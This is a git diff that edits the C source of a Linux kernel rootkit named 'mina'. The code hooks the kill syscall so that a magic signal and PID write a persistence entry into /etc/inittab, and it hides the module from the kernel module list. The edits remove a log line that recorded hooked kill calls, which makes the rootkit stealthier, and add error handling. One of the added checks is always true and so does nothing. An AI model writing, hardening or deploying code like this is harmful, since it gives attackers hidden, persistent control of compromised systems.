diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -26,7 +26,6 @@ asmlinkage long hooked_kill_syscall(struct pt_regs *regs) {
int signal = regs->si;
int pid = regs->di;
- printk(KERN_INFO "[mina] hooked kill: %d (pid: %d)\n", signal, pid);
if (signal == PERSISTENCE_CODE && pid == MAGIC_PID) {
const char *str = "::sysinit:/sbin/insmod /root/mina.ko\n";
return add_inittab_entry(str);
@@ -50,13 +49,21 @@ void toggle_hide_module(void) {
static struct list_head *prev_module = NULL;
if (current_module_is_hidden == 1) {
- list_add(&THIS_MODULE->list, prev_module);
- printk(KERN_INFO "[mina] welcome back!\n");
+ if (prev_module) {
+ list_add(&THIS_MODULE->list, prev_module);
+ printk(KERN_INFO "[mina] welcome back!\n");
+ } else {
+ printk(KERN_ERR "[mina] prev_module is NULL\n");
+ }
current_module_is_hidden = 0;
} else {
- prev_module = THIS_MODULE->list.prev;
- list_del(&THIS_MODULE->list);
- current_module_is_hidden = 1;
+ if (&THIS_MODULE->list) {
+ prev_module = THIS_MODULE->list.prev;
+ list_del(&THIS_MODULE->list);
+ current_module_is_hidden = 1;
+ } else {
+ printk(KERN_ERR "[mina] THIS_MODULE->list is NULL\n");
+ }
}
}
@@ -67,17 +74,25 @@ int add_inittab_entry(char const *entry) {
file = filp_open("/etc/inittab", O_WRONLY | O_APPEND, 0);
if (IS_ERR(file)) {
- ret = PTR_ERR(file);
+ printk(KERN_ERR "[mina] Error opening /etc/inittab: %ld\n", PTR_ERR(file));
+ return PTR_ERR(file);
+ }
+
+ if (!file || !entry) {
+ printk(KERN_ERR "[mina] Invalid file or entry\n");
+ ret = -EINVAL;
+ goto out;
}
ret = kernel_write(file, entry, strlen(entry), &pos);
if (ret < 0) {
- filp_close(file, NULL);
- return ret;
+ printk(KERN_ERR "[mina] Error writing to /etc/inittab: %d\n", ret);
+ goto out;
}
+out:
filp_close(file, NULL);
- return 0;
+ return ret;
}
static int __init module_start(void) {
|